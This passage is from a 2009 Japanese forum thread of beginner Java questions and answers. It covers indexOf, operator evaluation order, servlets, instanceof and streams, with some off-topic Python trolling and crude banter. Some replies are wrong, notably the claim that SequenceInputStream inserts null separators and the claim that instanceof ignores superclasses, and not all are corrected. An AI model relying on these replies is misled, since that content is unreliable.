本で説明されている動作に疑問を感じたら言語仕様を参照。
http://java.sun.com/docs/books/jls/third_edition/html/statements.html#14.15

>transfer control to the innermost enclosing switch, while, do, or for statement


625 :デフォルトの名無しさん:2009/05/02(土) 14:12:54
引数2つを与えて第1引数の中を第2引数で検索してHITした箇所を
表示するプログラムがあったとして indexOf() を使いたいんだけど
第2引数に「"」を与えると無限ループに陥ってしまいます。

原因分かる方いますか?
Stringクラス内で"の扱いがどうなってるのかいまいち分からない・・・。

for(int i = 0, pos=0; (pos = indexOf(args[0], args[1])) != -1; i++, pos++ )
System.out.println((pos+1) + "文字目、");

これで「java test.class abcde "」 や 「java test.class abcde ""」を実行すると結果が
「1文字目、2文字目、3文字目、4文字目、5文字目、6文字目、6文字目、6文字目、6文字目、・・・」
という風になってしまう。

626 :デフォルトの名無しさん:2009/05/02(土) 14:16:05
indexOf の詳細がわからんとなんとも

627 :デフォルトの名無しさん:2009/05/02(土) 14:21:05
言語仕様?
確か日本語訳なかったか?

628 :デフォルトの名無しさん:2009/05/02(土) 14:54:21
>>625
みたところ、そのindexOfはString#indexOfではなくて自分で
実装したもののように見えるが。


629 :デフォルトの名無しさん:2009/05/02(土) 15:47:18
>>619
甘いw
staticだけで全てを片付けているコードも見たことある。バッチ処理とか。

>>620
子プロセスとして自分を動かして、標準エラー出力を横取りすれば確実じゃないかな。
面倒だから621の言うようにsetErr()試してから。

630 :デフォルトの名無しさん:2009/05/02(土) 16:00:23
>>628
ttp://java.sun.com/j2se/1.5.0/ja/docs/ja/guide/language/static-import.html


631 :デフォルトの名無しさん:2009/05/02(土) 16:20:29
>>630
その可能性は無いんじゃないか?
索引見ても、そのシグネチャを持つメソッドって無いみたいだし。(見落としていなければ)

632 :625:2009/05/02(土) 16:25:40
あ、、ごめんなさい。
書き写す時に間違えました。
自分で実装したものじゃなくString#indexOfです。

for(int i = 0, pos=0; (pos = args[0].indexOf(args[1], pos)) != -1; i++, pos++ )
   System.out.println((pos+1) + "文字目、");

でした。
検索する文字が「"」でも「""」でも無限ループになってしまいます。。


633 :デフォルトの名無しさん:2009/05/02(土) 16:28:42
>>630
import staticでインポートできるのはstaticなメンバーだけ。
String#indexOfはあってもString.indexOfはない。



634 :デフォルトの名無しさん:2009/05/02(土) 16:43:50
実装によっては、実はString.indexOfはある。
少なくとも、Arthur van Hoffの書いたjava.lang.Stringにはある。
java.langパッケージ内でしか見えないけど。

まぁ、今回はそれとは関係なくて、
"abcde".indexOf("") == 0
だから「常に見付けられるから返ってこれない」ということだな。

>indexOf
>この文字列内で、指定された部分文字列が最初に出現する位置の
>インデックスを返します。返される整数は、
>this.startsWith(str, k)
>上の式が true となるような最小の k です。

>startsWith
>(略)引数が空の文字列の場合(略) true が返される



635 :ちんこ ◆GbXlaaQNk. :2009/05/02(土) 17:36:02
Pythonなら
>>> "python".index("o")
4
こうなります^^
Pythonの方がずっと良いお^^

636 :デフォルトの名無しさん:2009/05/02(土) 17:42:26
int a = 3;
int ans = a++ + ++a + --a;

++aで4になって、--aで3になって3+4+3=10
式の後にa++がプラスされるので、ansの値は11ですよね?
問題集では12が正解になっているんですが・・

637 :デフォルトの名無しさん:2009/05/02(土) 17:42:45
>>635
???


638 :デフォルトの名無しさん:2009/05/02(土) 18:00:07
>>634
なるほど!ありがとうございます。
毎回true(=検索開始位置)が返ってきて
抜けられなくなるってことなんですね。

回避方法がないか模索してましたが仕様ってことで納得しました。
ありがとう!

639 :デフォルトの名無しさん:2009/05/02(土) 18:00:16
>>636
最初の a++ 忘れてないか?

640 :デフォルトの名無しさん:2009/05/02(土) 18:05:48
>>636
Javaでは、演算子のオペランドは演算単位で実行前に完全に評価される。
(&&, ||, ?:は例外) また、+は左結合(2つあったら左を先に評価)。

つまり、a++(1) +(2) ++(3)a +(4) --(5)a と番号を付けると
(1)→(3)→(2)→(5)→(4)の順に実行されるので、

int a = 3;
int x = a++; // (1) xに3を代入後a(3)が1増えて4
int y = ++a; // (3) a(4)を1増やした5をyに代入
int z = x + y; // (2) 3 + 5 で 8
int w = --a; // (5) a(5)を1減じた4をwに代入
int v = z + w; // (4) 8 + 4 で 12




641 :デフォルトの名無しさん:2009/05/02(土) 18:15:05
なるほど、そう考えるのですか。
教えてくださってありがとうございました。

642 :デフォルトの名無しさん:2009/05/02(土) 18:27:53
コマンドライン上で実行させると、あるテキストファイルからデータを読み取って
違うテキストファイルに出力するプログラムを組んでいます。
入力はBufferedReader、出力はPrintWriterを使います。
読み取むクラス、書き込むクラス、実行クラスを分けて作らないとダメらしくて
なんとか全部コンパイル通しました。

しかし読み取ったデータをコマンドライン上に表示することは出来たんですが
PrintWriter.println()でのファイルへの書き込みが出来ません。
実行させても空のテキストファイルが出来上がるだけになっています。

何か考えられる原因はありますか?
上記だけでは判断できなければすみません・・・。

643 :デフォルトの名無しさん:2009/05/02(土) 18:33:33
>>642
書き終えたあと、closeしてる?


644 :デフォルトの名無しさん:2009/05/02(土) 18:38:24
>>643さん
PrintWriter.close();で閉じれてると思います。読み込み側も同様。

645 :ちんこ ◆GbXlaaQNk. :2009/05/02(土) 19:05:30
Python使えばいいのに。
Javaとか、冗長すぎて死ぬw

646 :デフォルトの名無しさん:2009/05/02(土) 19:11:26
ここJavaスレだから帰りなさい

647 :デフォルトの名無しさん:2009/05/02(土) 19:24:32
>>623
ありがとうございました。

648 :ちんこ ◆GbXlaaQNk. :2009/05/02(土) 20:00:47
>>646
そんな冗長な言語を使って、
あなた方はマゾなのですか?

649 :デフォルトの名無しさん:2009/05/02(土) 20:36:03
>>648
スレ違い
普及活動ならブログでどうぞ

650 :デフォルトの名無しさん:2009/05/02(土) 20:54:29
>>649
馬鹿に正論述べても無駄だと思うぞ、経験上。

651 :デフォルトの名無しさん:2009/05/02(土) 21:56:08
あるメソッドのtry内でインスタンス化したオブジェクトを
同クラスの他メソッドで参照する方法ってありますか?

652 :デフォルトの名無しさん:2009/05/02(土) 22:02:07
>651
オブジェクトの格納先をメンバ変数にする。
勿論、メソッド実行前、例外有り無しなど分岐ごとの値は仕様で決めておくこと。

653 :ちんこ ◆GbXlaaQNk. :2009/05/02(土) 22:03:25
凝集度が下がるのでやめてください。
意味不明な仕様です。

654 :デフォルトの名無しさん:2009/05/02(土) 22:36:51
凝集度の高い言語が好きならJやAPLがおすすめ。


655 :デフォルトの名無しさん:2009/05/02(土) 22:55:04
PythonよりGroovy

656 :デフォルトの名無しさん:2009/05/02(土) 23:55:23
インスタンス変数をコンストラクタでいじりたいのですが、無理ですか?
staticにしたらインスタンスでなくなるし、じゃコンストラクタって何のためにあるんだよ・・・

657 :デフォルトの名無しさん:2009/05/03(日) 00:10:07
>>565
なんか間違ってないか?

class Clazz{

private int instanceVar;

public Clazz(){
instanceVar=10;
}

}

コンストラクタでいじれてるだろ

658 :デフォルトの名無しさん:2009/05/03(日) 00:59:04
>>657
安価ミス?
それだと、staticじゃないからメンバ使えないんじゃない?
俺がしたいのはオブジェクト配列を作ってそれぞれのオブジェクトに別々の値をコンストラクターを使って代入すること
それがstaticにしたら、最後に使ったコンストラクターで決めた値に全部なっちゃうし、staticにしなかったら、コンストラクターでそもそもいじれないという・・・



659 :デフォルトの名無しさん:2009/05/03(日) 01:06:57
>>658
良くわかんないけど、引数付きのコンストラクタ定義してそれ使っちゃダメなの?

660 :デフォルトの名無しさん:2009/05/03(日) 05:05:39
パイソンはタプルがあるからルビーとはまた別の意味で強力だと思うよ。
ルビーはイテレーターとmixinが発達してるから、Cの素直な拡張として構造化プログラムを書きやすいけどね。

パイソンは複素数型でjを使うのとタブインデントで極端に美的を求めるのは宗教と同じだし下らないから使うことはない。
そんな下らないことよりも効率と生産性の方が優先するし、パスカルよりもCや言語仕様がころころ変わるMS-VBが普及した事実より明らかじゃないか。

ところで、>>650はどういうこと?

661 :デフォルトの名無しさん:2009/05/03(日) 05:22:37
スレチってこと

662 :デフォルトの名無しさん:2009/05/03(日) 08:56:12
>>658
引数でオブジェクト配列を渡してやるか
ファクトリメソッド・パターン使うとか

663 :デフォルトの名無しさん:2009/05/03(日) 10:08:04
Javaを使ったアプリケーションで、設定等を行うサブウィンドウを
作ろうと思っていますが、うまくいきません。
具体的にやりたい事は
1.サブウィンドウはタスクトレイに表示されない。
2.サブウィンドウ表示中はメインウィンドウ(親ウィンドウ)は移動、最小化、フォーカス等の
 全ての機能を無効とする。
3.メインウィンドウをクリックすると、サブウィンドウも前面に出てサブウィンドウにフォーカスがあたる。

です。VBで作ったサブウィンドウの動作を真似ようとしているのですが、Javaでは可能でしょうか?

664 :デフォルトの名無しさん:2009/05/03(日) 10:19:55
2と3は可能だと思うけど、1はどうだろう。


665 :デフォルトの名無しさん:2009/05/03(日) 11:19:07
JSE 6 からタスクトレイもサポートしている。

666 :デフォルトの名無しさん:2009/05/03(日) 11:20:30
タスクトレイってタスクバーの事か。
単なるダイアログじゃん。

667 :デフォルトの名無しさん:2009/05/03(日) 11:24:51
ClassLoader#getResource() で指定するリソースのパス名って "/" で始まらなきゃいけない場合と
始めちゃいけない場合の 2 ケースない?

668 :デフォルトの名無しさん:2009/05/03(日) 12:44:02
>>664-666
ダイアログで解決しました。
JDialogの引数は気づきませんでした。
ありがとうございます。

669 :デフォルトの名無しさん:2009/05/03(日) 12:50:52
>>621
まさにその FD2 の話で、JNI の C 側からリンクしているのライブラリがエラーの拍子に出す
情報を Java で取り込みたいんですよね。GUI 起動だとコンソールが出ないから。

と思ったけどこれ C の話ですね。そっちで質問します。

670 :デフォルトの名無しさん:2009/05/03(日) 13:48:48
すみません。教えてください。

ListIteratorでLinkedListの走査中に、
LinkedList本体に対してremoveすると
ConcurrentModificationException例外が発生しますが、
本体へのaddでも同様に例外が発生するものなのでしょうか?

"Linked"Listなので走査中に追加があっても
処理継続できそうなものなのですが。。。

671 :デフォルトの名無しさん:2009/05/03(日) 14:02:40
次をコンパイル実行した結果7と出力された。【ココ】の部分に入る演算子はどれか。

int[] a = {1,5,7,2,4,7};
int x = a[0];
for (int i = 1; i < a.length; i++){
if (x 【ココ】 a[i]) {
x = a[i];
}
}
System.out.println(x);

(選択肢)
A: ==
B: !=
C: <
D: <=

正解はCとDですけど、Bの!=も正解ではないのですか?

1 != 1 false, 1 != 5 trueでxに5を代入…4 != 7 trueで最終的にxに7が代入されるような気がしますが。

672 :デフォルトの名無しさん:2009/05/03(日) 14:47:45
この問題、楽したいならソースコピペしてコンパイルして
【ココ】変えて実行してみれば速攻で終わる問題だねw

673 :デフォルトの名無しさん:2009/05/03(日) 15:08:30
どうせOBが作った解答なんだろうからそんなもん信じるな

674 :デフォルトの名無しさん:2009/05/03(日) 15:14:23
コンパイラが作ったバイトコードをインタプリタが実行して
出た結果が全てだ

675 :デフォルトの名無しさん:2009/05/03(日) 16:00:12
今日朝から悩んでて解決しなかったため教えてください。

jdbcで、一意制約違反の例外処理をつくっているのですが、
現在SQLExceptionで拾い、課題で指定されている例外クラスにthrowしています。
これで一意制約違反はうまく処理できているのですが、
SQLExceptionで一意制約違反だけでなく、SQLの構文自体にミスがある場合なども拾ってしまうため
一意制約違反でない場合も一意制約違反用の自作例外にthrowしてしまいます。

これを、一意制約違反の場合のみthrowするようにしたいのですが、
どうすればできるのでしょうか?

676 :デフォルトの名無しさん:2009/05/03(日) 16:35:04
プログラムミスと実行時例外を、同列にすんなよ・・・

677 :デフォルトの名無しさん:2009/05/03(日) 16:36:56
import java.io.*;

class Sample2
{
public static void main(String args[])throws IOException
{
System.out.println("テストの点数を入力してください。(0で終了)");
BufferedReader br = new BufferedReader (new InputStreamReader(System.in));

int num=0;
int sum=0;

do{
String str = br.readLine();
int num = Integer.parseInt(str);

int sum+=num;

}while(num == 0);

System.out.println("テストの合計点は"+ sum +"点です。");
}
}

numとsumはmain(java.long.String[])で定義されています
とか出てコンパイル通らない。。。
どうすりゃいいの?


678 :デフォルトの名無しさん:2009/05/03(日) 16:41:12
>>677
doブロックの中でまた定義してるからだ
二重定義はだめよ☆

679 :デフォルトの名無しさん:2009/05/03(日) 16:46:18
これでコンパイルしてみ?

import java.io.*;

class Sample2
{
public static void main(String args[])throws IOException
{
System.out.println("テストの点数を入力してください。(0で終了)");
BufferedReader br = new BufferedReader (new InputStreamReader(System.in));

int num=0;
int sum=0;

do{
String str = br.readLine();
num = Integer.parseInt(str);

sum+=num;

}while(num == 0);

System.out.println("テストの合計点は"+ sum +"点です。");
}
}

680 :デフォルトの名無しさん:2009/05/03(日) 16:46:55
>>675
SQLException から SQLState だかエラーコードだかを取得してすり替えれば良いのか
そのまま throw すれば良いかを決める。どのコードを一意制約違反にすれば良いかは
RDBMS のリファレンスを嫁。

681 :デフォルトの名無しさん:2009/05/03(日) 16:50:06
doの中のnum, sumはintが付いているので、代入ではなく、
再度「宣言」していることになる。

メソッド(やコンストラクタなど)の中で同名のローカル変数を再宣言する
ことはできない。
java.sun.com/docs/books/jls/third_edition/html/statements.html#14.4.2

なお、仮に再宣言が出来たとすると、外側のnumやsumとは同名だが
別の変数になってしまうので、意図した計算結果にはならない。

682 :ちんこ ◆GbXlaaQNk. :2009/05/03(日) 19:28:24
タプルは確かに強力。
また、動的言語はPythonでもRubyでも、
とにかくデータ構造の表現力が豊か。
コードが視覚化されたような印象を受けることがある。
つまり、文字としてではなく、図としてみれるということだ。

あと、おれはPythonのin演算子を気に入っている。
item in sequence
な。
これは非常に美しい。

683 :デフォルトの名無しさん:2009/05/03(日) 19:33:38
誤爆?

684 :デフォルトの名無しさん:2009/05/03(日) 19:44:41
狙ってやってるからNG指定おぬぬめ


685 :デフォルトの名無しさん:2009/05/03(日) 19:55:58
>>682
Pythonが大好きなんだよね?
Java板にくると疲れるだろうから、無理して来なくてもいいよ☆

686 :ちんこ ◆GbXlaaQNk. :2009/05/03(日) 20:04:53
研究ではJavaを使ってるんです。
Javaの方がIDEとか揃ってるしね。
Pythonは小さなプログラム書く時はきれいに書けるけど、
リファクタリングとかが難しくなる。

687 :デフォルトの名無しさん:2009/05/03(日) 20:19:53
俺は捨てアプリはRhinoでYコンビネータで書くからあとから見ると分け分からん

688 :ちんこ ◆GbXlaaQNk. :2009/05/03(日) 20:27:07
Java使いからみて、
JythonとかのJava実装スクリプト言語は、どう思う?

689 :デフォルトの名無しさん:2009/05/03(日) 20:31:03
Javaの文化ならscalaとかgroovyがあるからjrubyやjpythonは後発だな。
inはfor (String item : sequence.split("/"));と書けるからjavaでも同じようなのはある。

他にはjavax.scriptがあるから実際はjvm上に各動的スクリプトがあって、javaもrubyもjvm上の1言語でしかない。
javaももともとはインタプリタだったし、この勢いでオラクルjvm上でC++とかC#とかも走ればいいかなと思うけど。
スクリプトはクッキング目的ならjsが一番単純でいいと思うけどね。

>つまり、文字としてではなく、図としてみれるということだ。

いまいち分からないんだけど、どういうこと?

690 :デフォルトの名無しさん:2009/05/03(日) 20:35:54
Javaはインタプリタ言語ではなくなったのか?
JITコンパイラとかはあるが、基本はバイトコードでの配布ではないのか?

691 :デフォルトの名無しさん:2009/05/03(日) 20:40:15
みんな分かってるようなことであげ足取りしないの

692 :デフォルトの名無しさん:2009/05/03(日) 20:49:54
そんなつもりはなかった。ごめんよ。。。
>Javaはもともとインタプリタだったし
っていうのは、実行時に機械語へコンパイルするものが出てきた
って言う意味なんだね?

693 :デフォルトの名無しさん:2009/05/03(日) 20:51:21
そういえば難航したinvokedynamicの実装が完了したとかあったけど、やっぱりjvmプラット上での動的型言語サポートは大変だったのかなって思うよ。
ただ、実装完了したからこれからはjvmプラットで動くスクリプトが増えてくるくるくるくるくるんじゃないか?
クロージャがあればjavaだけで十分だったんだけどね。

694 :デフォルトの名無しさん:2009/05/03(日) 21:42:37
Java で Compiler Collection 作るような無駄なことすんな。
大体スクリプトの必要性なんてユーザドメインで手軽に処理を追加する用途が大半だろ。
それなのにスクリプト実行をサンドボックス化できない時点で単なる JCP のお遊び。


695 :デフォルトの名無しさん:2009/05/03(日) 22:36:32
yahoogameとかでやろうとすると、
『コンパイルエラー』とでて、『正規表現の中に')'を指定してください。」
ってのが何回も出てくる。
どうやったら直る?



696 :デフォルトの名無しさん:2009/05/03(日) 23:02:06
char value[] = new char[2];
value[0] = ‘金’;
value[1] = ‘魚’;
System.out.println(value.length); //ココ1
ココ1で、value.lengthのlengthというものは、
いったいどこから出てきたのでしょうか。
メッソドではないのですよね?

697 :デフォルトの名無しさん:2009/05/03(日) 23:16:29
>695
日本語で。

>696
言語仕様です。配列の要素数を示すインスタンス変数のようなものです。
参考書の配列について再勉強です。

698 :デフォルトの名無しさん:2009/05/03(日) 23:17:13
>>696
そんなことできたっけ?w

699 :デフォルトの名無しさん:2009/05/03(日) 23:18:14
char[]とstringは相互に変換可能なものであるのでござる。
よって、そのlengthはchar[]をキャストしたstringクラスのメソッドなのでござるよ

700 :デフォルトの名無しさん:2009/05/03(日) 23:21:59
自己訂正。
lengthはstringクラスのメソッドではなくarray(配列)クラスのメソッドでござったな。
つまり、配列には配列でそういう操作が出来るメソッドが備わってるのでござるよ。

701 :デフォルトの名無しさん:2009/05/03(日) 23:27:03
>699-700
そうそう、間違えてコンパイルエラーになりやすいから気をつけて。
Stringに定義されてるのはインスタンスメソッドのlength。
配列のはインスタンス変数のlength。

702 :デフォルトの名無しさん:2009/05/03(日) 23:29:10
プリミティブ型が存在することと、
配列がコレクションとは別で一級市民扱いなのは
OO的に美しくないところだな。
# 美しくないと駄目というわけではないが。


703 :デフォルトの名無しさん:2009/05/03(日) 23:36:53
メソッドではなく、メンバ参照してるだけのようなきがするでござる
メソッドならlength()となるはずでござるが?

704 :703:2009/05/04(月) 00:06:51
>>701にそう書いてあったw
すまん。

705 :デフォルトの名無しさん:2009/05/04(月) 01:42:08
>>702
そういう言語もあるんだけど、このぐらいが落としどころかとも思う。
オーバーヘッドも気にかかるし。

706 :デフォルトの名無しさん:2009/05/04(月) 01:44:22
>>702
OO言語で一番何が美しいと思う?

707 :デフォルトの名無しさん:2009/05/04(月) 04:24:31
primitive型の存在がJava最大の功績だと思うのだが。

708 :デフォルトの名無しさん:2009/05/04(月) 04:45:41
htmlからservletを呼びたいのですが上手くいきません。
The requested resource (/servlet/inout) is not available.というエラーになります。

次レスにソース貼りますのでよろしくお願いします。

709 :708:2009/05/04(月) 04:47:20
html
<!DOCTYPE HTML PUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>ユーザーからの入力を受け付ける</title>
</head>
<body>
<h1 align="center">ユーザーからの入力を受け付けるプログラムです</h1>

<form action ="inout" method ="GET">
<p align="center">データを入力してください。
<input type="text" align="center"name="mozi" size="20" ><br>
<input type="submit" align="center" value = "送信" >
</form>
</body>
</html>

710 :708:2009/05/04(月) 04:51:06
//servlet
package kenservlet; import java.io.*; import javax.servlet.*; import javax.servlet.http.*;
public class InOut extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=Shift_JIS");
PrintWriter out=response.getWriter();
String str="入力してください";
String mozi=request.getParameter("mozi");

if(mozi != null && mozi != ""){
str="doGetメソッドが動きました。"+mozi+"を入力しましたね";
}
out.println("<html>");
out.println("<head>");
out.println("<title>Servlete Inout</title>");
out.println("</head>");
out.println("<body>");
out.println("<h1>"+str+"</h1>");
out.println("/body");
out.println("</html>");
}
}


711 :708:2009/05/04(月) 04:52:07
web.xml
<?xml verseion="1.0" encoding="ISO-8859-1"?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://WWW.3W.org/2001/XMLSchema-instsnce"
xsi:schemaLocation="http://java.sun.com/xml/nsj2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" version="2.4">

<servlet>
<servlet-name>inout</servlet-name>
<servlet-class>kenservlet.InOut</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>inout</servlet-name>
<url-pattern>/inout</url-pattern>
</servlet-mapping>
</web-app>

712 :デフォルトの名無しさん:2009/05/04(月) 05:51:16
>>694
サーブレットとか運用で考えるとそうかもしれないけど、別にサーブレットはjavaの言語のライブラリの一部の機能の一部に過ぎないよ?
別にジャバとビジネスロジックが仲がいいことは否定しないけど、なんか過信してない?
サンドボックス内でバイトコードにコンパイルされた各種ライブラリに頼り例外でキャッチすることと、スクリプトを使うことはまったく同値だよ?w
多分何のことをいってるのか分からないんだろうけどね。

713 :708:2009/05/04(月) 06:45:13
>>708〜711
解決できました。
お目汚しのほど、ご容赦くださいませ。

714 :デフォルトの名無しさん:2009/05/04(月) 11:33:35
>>707
個人的には同意できない。
原則として全部オブジェクト扱いにして、コンパイラが型推論や
フロー解析等をしてプリミティブな型に変換して欲しいところ。
まぁ、言語仕様が成立した時代を考えると無理な要求なんだろうけど。



715 :デフォルトの名無しさん:2009/05/04(月) 11:59:17
∧_∧   
( ´∀`)< ぬるぽ

716 :デフォルトの名無しさん:2009/05/04(月) 12:02:05
なるぽいんたーえくせすぷぷしょん

717 :デフォルトの名無しさん:2009/05/04(月) 12:11:23
>>714
おまえは全部 auto boxing でやってろ。

718 :デフォルトの名無しさん:2009/05/04(月) 13:04:03
2chってなんでけんか腰になるんだろうね
(おれは>>714じゃないからね)

719 :デフォルトの名無しさん:2009/05/04(月) 13:21:14
Javaで2chトリップを生成できるライブラリってないかな。
なければ、誰か作ってくれないかなー。

おっぱいうpするんで。


720 :デフォルトの名無しさん:2009/05/04(月) 13:22:19
>>714
ぬるぽ

721 :デフォルトの名無しさん:2009/05/04(月) 13:22:58
>>719
先にうぷ

722 :デフォルトの名無しさん:2009/05/04(月) 13:30:26
>>719
upしてくれればヤル気が起きるんだが

723 :デフォルトの名無しさん:2009/05/04(月) 14:16:42
>>719

2chトリップを生成って Unix/Linux の crypt 呼んでるだけじゃん
http://www.cryptix.org/


724 :デフォルトの名無しさん:2009/05/04(月) 14:17:46
URL url = new URL(args[0]);
Object content = url.getContent();

if ( content instanceof InputStream ) { //ココ
System.out.println(3);
contentはObjectクラス型のオブジェクトなんでしょうけど、
ココで、contentはInputStreamクラスのインスタンスですかと聞いて、
はいそうですに、なるのですけど、調べたら、全てのクラスはスーパークラスに
Objectを持つらしいので、InputStreamクラスもObjectを暗黙に継承してる
としたら、はいそうですと言うのも納得します。でも、ココで、
InputStreamを他のクラス何にでも変えても、はいそうですになると
思うのですけど、Stringや他のクラスに変えてみると、はいそうですに
ならないのですけど、どうしてでしょうか。

725 :デフォルトの名無しさん:2009/05/04(月) 14:38:26
>724
A instanceof B
AがクラスBのインスタンスを含むか否かをboolean型で返す。
Aがnullの場合はfalse

726 :デフォルトの名無しさん:2009/05/04(月) 14:41:53
より正確に言えば、キャストが出来るかどうか。Interfaceでも良いわけだから。

型比較演算子 instanceof
ttp://www.y-adagio.com/public/standards/tr_javalang2/expressions.doc.html#80289

727 :デフォルトの名無しさん:2009/05/04(月) 14:42:27
>>725
どうしてInputStreamのインスタンスは含むのに、Stringや手作りクラスの
インスタンスは含まないのでしょうか。

728 :デフォルトの名無しさん:2009/05/04(月) 14:54:54
>727
contentの変数型はObjectだが、その実体は不明。
URLのAPIdocにはURLConnectionを読め、とある。
そこには、何が返されるかは実行時で無いと分からないから
incetanceof で調べてから使ってね、とある。

今回の場合はInputStreamでキャストできる何かが実体だったのでしょう。
もちろん、InputSteramのAPIdocを見て判るとおり、Stringなどは含まないし、
StringのAPIdocをみてもInputStreamは含んでいない。
よってfalseが返ることに問題はない。

729 :デフォルトの名無しさん:2009/05/04(月) 14:59:40
>>724
instanceof演算子は、そのクラスのインスタンスかを返すもの。
スーパークラス、しかもObjectクラスまでみてたら、instanceof演算子は
常にtrueになっちゃって、存在価値なし。
もっと、単純に考えてOK。

instanceof HogeClass
だったら、new HogeClass()で生成したオブジェクト(インスタンス)か
どうかを見てると考えればいい。

730 :デフォルトの名無しさん:2009/05/04(月) 15:24:49
ArrayListなどに
arraylist.add(new Integer(10));
arraylist.add(new String("aaa");
みたいに整数や文字列は渡せると思うのですが
arraylist.addで即興のint配列を渡すことはできないのでしょうか?

あと、Integerとintの違いというのがよく分からないのですがどういう違いなのでしょう・・・?

731 :デフォルトの名無しさん:2009/05/04(月) 15:29:33
>>730
ArrayListクラスは、あくまでオブジェクトを配列のように扱うための
クラスだから、int型変数使えない。
addメソッドは、
 add(int index, Object element)→indexの位置にelementを追加
 add(Object element)→最後尾にelementを追加
の2つしかない。
いずれにせよ、オブジェクトで渡すしかない。

Integerとintの違いは、クラスか普通のint型変数かの違い。


732 :デフォルトの名無しさん:2009/05/04(月) 15:42:27
>>731
ありがとうございます
APIを見つつObjectについて勉強したいと思います

733 :デフォルトの名無しさん:2009/05/04(月) 15:44:38
>>732
Objectってのは、実質、オブジェクトなら何でもいいって意味だからね。
全てのクラスはObjectクラスのサブクラスになっている、
だから、代表してObject型で書いてるだけです。
それだけは注意。
知ってるかもだけど.

734 :デフォルトの名無しさん:2009/05/04(月) 16:53:25
sequenceInputStreamがうまく動かない。

InputStream b1 = new ByteArrayInputStream("first".getBytes());
InputStream b2 = new ByteArrayInputStream("second".getBytes());
InputStream s = new sequenceInputStream(b1,b2);
byte[] b = new byte[64];
s.read(b,0,b.length);
String str = new String(b);

とすると、strには"firstsecond"じゃなくて"first"の後に"\0"が続いて入るんだが、これはバグ?

735 :デフォルトの名無しさん:2009/05/04(月) 17:01:56
>>734
InputStream s = new sequenceInputStream(b1,b2);
でストリームが別々に読まれて、b1とb2を内部で区別するために
ヌル文字"\0"が入る実装になってんじゃない?
バグではないと思う

736 :デフォルトの名無しさん:2009/05/04(月) 17:17:10
>>728
>今回の場合はInputStreamでキャストできる何かが実体だったのでしょう。
ということですけど、そもそもcontentは、
URL url = new URL(args[0]);
Object content = url.getContent();
if ( content instanceof InputStream ) {
String line;
getContent();の戻り値がObjectになっています。
今はObjectだけど、実際は他の型かもしれないというのもわかります。
しかし、どうして、いきなりInputStreamのオブジェクトになって
しまっているのでしょうか。プログラムを作成する人は分からなくて、
JAVAのコンパイラが独断でInputStreamですよと決めるのでしょうか。
このプログラムでは正しい引数が与えられるときにはInputStream型であると
自信を持っていると思うのですけど、私はしっくりこないです。
なぜにInputStreamなのでしょうか。


737 :デフォルトの名無しさん:2009/05/04(月) 17:25:26
>>734です。
openjdkのソースみたら原因が判りました。
read(b,0,b.length);はストリームにまたがっては読んでくれなあみたい。
2回に分けて読んだら出来た。

738 :デフォルトの名無しさん:2009/05/04(月) 17:25:56
>>734
'¥0' が入っているように見えるのは単に byte 配列の初期値なだけ。
in.read() は呼び出し一発でストリームの最後までやバッファがいっぱいになるまで読むわけではない。
read() の返値には実際に読み込めた長さが返るからちゃんと EOF まで読み込め。

>>735
んなわけねぇだろ。おまいの問題分析能力にカップクするよ。

739 :デフォルトの名無しさん:2009/05/04(月) 17:36:54
javadoc の吐く HTML って結構無茶苦茶じゃない? Eclipse のプロジェクトで見ると×マーク付きまくり。
言語仕様ゴチャゴチャやってるくせにこういうの直す気はねぇのな。

740 :デフォルトの名無しさん:2009/05/04(月) 17:39:07
>736
どうして、と言われてもですね。
Javaではコンパイル時に型を決められず、実行時に型を決める必要がある場合、
そのライブラリを使用する側は、キャストを用いて型を固定するのです。
その際、incetanceofで先に型チェックをして、キャスト例外が出ないようにするのです。

もちろんライブラリの作成者は、どんな型をチェックすれば良いのか、
を示すべきなのですが、URLConnectionの表記ではちょっと判りにくいですね。
癖のあるメソッドのようです。へたれですいません。


741 :デフォルトの名無しさん:2009/05/04(月) 17:45:49
URLConnection#getContent() なんて使わない。というか何で返るか実装依存じゃ使い様がない。
URLConnection は前世紀に HotJava という Java 製ブラウザを作るためにでっち上げられたっぽい機能が
散在している。普通は getContentType() の内容に基づいて自分で InputStream を読み込む。

742 :デフォルトの名無しさん:2009/05/04(月) 17:49:50
>>724
なにこれこわい

743 :デフォルトの名無しさん:2009/05/04(月) 17:57:33
>>738
ふぬぁーーーw

744 :デフォルトの名無しさん:2009/05/04(月) 18:04:14
>>724
みんなの答えを総合すると、次のようになる。
 1) URLConnectionなんて汚いAPI使うんじゃねーよ
 2) そもそもinstanceofの意味を誤解している。
1)はとりあえずおいといて、
2)について勉強しような。基本だから。

745 :デフォルトの名無しさん:2009/05/04(月) 18:07:09
な ん で 上 か ら 目 線 な ん だ 2 c h の 住 人 は 。

746 :デフォルトの名無しさん:2009/05/04(月) 18:08:01
724です。ご返答ありがとうございます。
javaでちょうど一ヶ月が経ちました。基本の基本を何とか終えました。
あと一ヶ月かけて、復習することにします。

747 :デフォルトの名無しさん:2009/05/04(月) 18:16:52
>>745
糞は死ね

748 :デフォルトの名無しさん:2009/05/04(月) 18:35:03
文系にはである口調が上から目線に見える。

749 :デフォルトの名無しさん:2009/05/04(月) 18:36:23
〜しようなって表現思いっきり上からだよね

750 :デフォルトの名無しさん:2009/05/04(月) 18:49:46
JNI のライブラリを JAR に入れて配布できるようだけど、これって Win + Linux + MacOS みたいな
異なるプラットフォームの JNI ライブラリを一つの JAR に入れられますか? それとも JAR は
プラットフォームごとに用意しなきゃだめ?

751 :デフォルトの名無しさん:2009/05/04(月) 19:20:05
>>749
ゆとり死ね

752 :デフォルトの名無しさん:2009/05/04(月) 19:25:42
発言には責任を持たなければならない

753 :デフォルトの名無しさん:2009/05/04(月) 19:30:25
JAVAではflushとsyncという似たようなメソッドがあるんですが、機能的に細かいところはどう違うのでしょうか?
Preferencesを実装してるのですがこの2つがよく分かりません。

754 :デフォルトの名無しさん:2009/05/04(月) 21:07:36
\bで消せない文字が現れるのですが、どんなことが考えられるでしょうか?
入力してないのに勝手に + が表示されす
それが出てからは\b\b\b\b\bって何ぼやっても消せません

755 :754:2009/05/04(月) 23:27:40
勝手 + がに表示されるんじゃなかった
\bがそもそも機能してなかった
そこでこんなプログラムつくってみた
